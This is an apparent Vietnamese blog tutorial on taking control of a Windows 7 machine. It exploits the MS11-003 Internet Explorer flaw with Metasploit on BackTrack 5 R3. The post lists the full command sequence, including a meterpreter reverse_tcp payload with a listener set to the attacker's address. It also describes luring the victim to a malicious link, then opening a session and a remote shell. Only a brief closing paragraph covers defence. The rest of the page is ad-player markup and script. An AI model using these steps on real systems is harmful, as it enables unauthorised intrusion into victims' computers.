Lâm Việt Hùng: quantrimang

Thực hiện tấn công Windows 7.
Ta đổi địa chỉ IP 2 máy attacker và victim về cùng một dải mạng. Ta gõ lệnh sau <i># vi /etc/network/interfaces </i>để sửa lại địa chỉ IP trên máy attacker.<br />
<br />
<div style="text-align: center;">
<img height="275" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuK75viJQsnS0XcKPXLO_vAU_tAr9P91OI50UwU8KaHxO9gWcmHnJdHLed_3vsAzns2BW7ZrP_05x7NtfXo4kkT1fz7c638GdWLmBdHjfICDNdAR05vapP5OKVEwCqWc7_ne3ycgLePhdJ/s400/1.png" width="400" /> </div>
<br />
Sau khi chỉnh sửa xong địa chỉ IP ta lưu lại và khởi động lại card mạng bằng lệnh
<i># /etc/init.d/networking restart</i>  Tiếp tục ta gõ lệnh<i> # msfconsole</i> để khai thác lỗ hổng thông qua công cụ Metasploit. Sau khi gõ lệnh sẽ hiện thị kết quả như hình bên dưới:<br />
<br />
<div style="text-align: center;">
<img height="272" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghEsQu8nM9nyb7QUA7Yxtjiz_xoFADMHnAt8Qc95wcLy364mwUrb6n4tRNsnnryVM8WV9fIl6ilrCLsmTMBNqYII8q3zQKj5hJLN-XhpjzcJrgZ0s1xELDDeg_m94O7HsG6uT9t9pgMzca/s400/2.png" width="400" /> </div>
<br />
Ta tiếp tục gõ lệnh search ms11_003 để tìm kiếm lỗ hổng MS11_003 trên CSDL của Metasploit. Hiển thị kết quả như hình bên dưới là thành công:<br />
<br />
<div style="text-align: center;">
 
<img height="277" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmT3BgaUSfEVK6zAbOV7JoFBbkL4NosCbkEUXqCPYSOnIfKJmmpKXtCZmzjsdQIi2DiODV9y50kziZ3hmcxF_kg5UL4ZSWE6xOXQ40c172E9v3a8ABeXYUUGkBpeWZ5gxHVxYZPguPtTJ3/s400/3.png" width="400" /> </div>
<br />
Ta gõ tiếp dòng lệnh use exploit/windows/browser/ms11_003_ie_import  , tiếp theo ta thiết lập IP lắng nghe khi có kết nối trả về máy attacker set SRVHOST 10.0.0.2
Sau đó gõ tiếp lệnh set URIPATH / để thiết lập đường dẫn đánh lừa victim.
Gõ lệnh : set payload windows/meterpreter/reverse_tcp với mục đích để chiếm phiên làm việc của victim.
Tạo payload lắng nghe trên địa chỉ của attacker và port 444 bằng lệnh : set LHOST 10.0.0.2
Gõ tiếp exploit để thực thi payload. Mọi thứ hoàn tất và thành công sẽ hiển thị giống như hình bên dưới.<br />
<br />
<div style="text-align: center;">
 
<img height="276" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiX22KcbeUA7fQk6dVQ1FTt8PDumrMWRY28FL1ge3c5rhw_j-m4Jb4aXAL2K_zjYMni4Zyp1OGG2YfYWIsSLf7LzsuvGKO7p7HM28VlxCDFcr5umHGuacFHLVXKaqLlYhHTzatSWs0j2_IN/s400/4.png" width="400" /> </div>
<br />
Ta tìm cách đánh lừa người dùng truy cập vào dường dẫn trên máy attacker để chiếm quyền điều khiển. Đường dẫn giống như hình bên dưới:<br />
<br />
<div style="text-align: center;">
<img height="57" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOr6pEN6hzPeFxfdqjsY8fIkQZEGUJQzmJBrLArJ4KQCuiFgj4_ASd5I673JFwrTUgC_0P1fjGBfUOIawKLfEg7qv3AY-nPfWmFPb-FkP7zSyM7lI21aWkdpDfCyYZNnV90_Hm_lQbac8d/s400/5.png" width="400" /> </div>
<br />
Người dùng truy cập vào đường dẫn trên máy attacker đã được thiết lập mã độc sẽ hiển thị như hình bên dưới.<br />
<br />
<div style="text-align: center;">
 
<img height="272" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUCepTfE51xkc4GOHitMMoonMkAOtlKiA_k8vcG-HFzeAWEQEkM5v_RZnF7NvogWvMmDYV-X4ViClEY1v8NhEybGWC3zhg1IvYkTJoaEJ6ArURzZMuiDbEm8PFkA31Z3YYLuN0qJFDhkmz/s400/6.png" width="400" /> </div>
<br />
Sau khi người dùng nhiễm mã độc trên trình duyệt IE sẽ bị treo và không tắt được, trên máy attacker sẽ hiển thị như hình sau:<br />
<br />
<div style="text-align: center;">
 
<img height="275" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgD6F6FTC-EPf-IFHbo_4Uzmzfeyeyrr2Gb2NX_daAdPGq8mnCZE976dYIuvC2cu6XNOzjGDyCSxHEYB7m7iZO3UWvwKIoqTYwDJx0EFuOuMzBXXPzrqwRPMm_axAY-CIAgz9dy7_pmziiw/s400/7.png" width="400" /> </div>
<br />
Tiếp ta sẽ gõ lệnh sessions và gõ lệnh sessions –i 1 để tương tác với sessions 1.
Gõ lệnh sysinfo để xem thông tin về máy victim.<br />
<br />
<div style="text-align: center;">
 
<img height="276" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigPcGRd_OaBqGFAYaob0atXjsCkbGi68VAy8sj_P6t7efZLuKKlbks54mh_cwzVOpM3oIu72loWym9Tep4BtAopfXcxKfz5t6vbNSBCazsUjTj_Wk2M4YJT8HhKtZ9uT9s03GegVn_Xwl0/s400/8.png" width="400" /> </div>
<br />
Bắt đầu chiếm quyền điều khiển máy victim với lệnh shell. Sau đó ta có thể tạo thư mục để đánh dấu mình đã xâm nhập thành công.<br />
<br />
<div style="text-align: center;">
<img height="276" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1yNeHIgJEPTE6YlC8O1p537FxGx9V1NF-DSRy67am_DTlyEezRIZXcAAcq3zMQ2jYCxB0SRlgcrQu55QhaqT1ktuONutgCQ0uoPtPbIyLoHHZmtSA4Ojlr0NGu-Jq8Y6K_SpdG86RbZEW/s400/9.png" width="400" /> </div>
<br />
<div style="text-align: center;">
<img height="221" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhf-ql_5TTRu_RgjPu-fQYI962n4yOZIqDbVb9mbJtoIeRFwoqAp_bO5QpxjZkltVPFpgDVFkZdlF4hSfPuCqkkDRuaJU1DqgaeRKmi62189UCv8uyawOflbTn2pfOmzf44vJLoxkVVVT1D/s400/10.png" width="400" /> </div>
<br />
<b>Hướng bảo mật và phòng tránh bị hacker tấn công: </b><br />
<br />
- Lỗi MS11_003 thông qua gửi các tập tin html và css để chạy các đoạn mã nhằm xâm nhập máy tính nạn nhân để có thể đạt được quyền ngang bằng với quyền hạn của người truy cập lúc bấy giờ.<br />
- Để tránh bị hacker lợi dụng lỗi MS11_003 để chiếm quyền điều khiển máy tính của mình thì người dùng sử dụng Windows 7 không nên sử dụng trình duyệt IE. Trình duyệt IE trên Windows 7 chưa lỗ hổng bảo mật nghiêm trọng để các hacker có thể dễ dang khai thác và tấn công máy người dùng. Ta có thể sử dụng các trình duyệt bảo mật tốt hơn hiện nay được rất nhiều người sử dụng như: Chrome, Firefox hay trình duyệt Microsoft Edge,…
<br />
<br />
<b>Video hướng dẫn:</b><br />
<br />
<style type="text/css">
#ads-video {width:81%;height:400px;background:#000;position:absolute;top:0;}
#ads-video #countdown {color: #fff;font-size: 15px;position: absolute;right: 10px;bottom: 10px;padding: 10px 0px 0px 0px;font-family: Roboto Condensed,Arial;background:url('http://acp.xemgame.com/icons/ajax_loader.gif');cursor:pointer;width:40px;height:40px;background-size:cover;text-align:center;box-sizing:border-box;}
#ads-video #nut-close {color: #fff;font-size: 15px;position: absolute;right: 10px;bottom: 10px;border: 1px solid #fff;padding: 3px 5px;font-family: Roboto Condensed,Arial;background: rgba(0,0,0,.8);cursor:pointer;display:none}
#ads-video .gioithieu {color: #fff;background:rgba(154,2,9,.7);width:100%;box-sizing:border-box;font-size: 15px;position: absolute;left:0;top:0;font-family: Roboto Condensed,Arial;padding:3px 10px}
.clip-display {width:100%;height:400px;}
.clip-display div,img,h3 {box-sizing:border-box}
.clip-display .clip-frame {width:124%;float:left;position:relative;overflow:hidden;height:400px}
.clip-display .clip-frame .clip-title {width:100%;display:inline-block;background:#000;color:#fff;font-family:Roboto Condensed,Arial;font-weight:500;font-size:16px;height:400px;padding:4px 10px;}

</style>

<br />
<div id="ads-video">
<div style="left: 180px; position: relative; top: 80px;">
<script async="" src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>

<br />
<ins class="adsbygoogle" data-ad-client="ca-pub-6751184663910456" data-ad-slot="3220838927" style="display: inline-block; height: 200px; width: 250px;"></ins><script>
(adsbygoogle = window.adsbygoogle || []).push({});
</script></div>
<span id="countdown" style="display: none;">0</span>
       <span id="nut-close" style="display: inline;">Skip Ads</span>
       <script type="text/javascript">
       var seconds_left = 6;
       var interval = setInterval(function() {
        document.getElementById('countdown').innerHTML = --seconds_left;

if (seconds_left <= 0)
        {
         $('#nut-close').show();
         $('#countdown').hide();
         clearInterval(interval);
        }
       }, 1000);
      
         /*var hengio = setTimeout(function() {
         document.getElementById("ads-video").remove();
         $("#fitvid")[0].src += "&autoplay=1&showinfo=0&rel=0&autohide=1&title=";
      }, 10000);*/
       /*setTimeout(function() {
         $('#nut-close').show();
         $('#countdown').hide();
      }, 5000);*/
       
       $("#nut-close").click(function(){
       document.getElementById("ads-video").remove();
       $("#fitvid")[0].src += "&autoplay=1&showinfo=0&rel=0&autohide=1&title=";
       clearTimeout(hengio);
      });
      </script>   
      </div>
</div>
</div>
</td></tr>
</tbody></table>
<br />
<br />

Hack Quyền Điều Khiển Windows 7 Sử Dụng Công Cụ Metaploit trên BackTrack 5 R3

Thực hiện tấn công Windows 7. Ta đổi địa chỉ IP 2 máy attacker và victim về cùng một dải mạng. Ta gõ lệnh sau # vi /etc/network/interfaces ...

+ Read more »

Hack Quyền Điều Khiển Windows 7 Sử Dụng Công Cụ Metaploit trên BackTrack 5 R3

Bài viết khác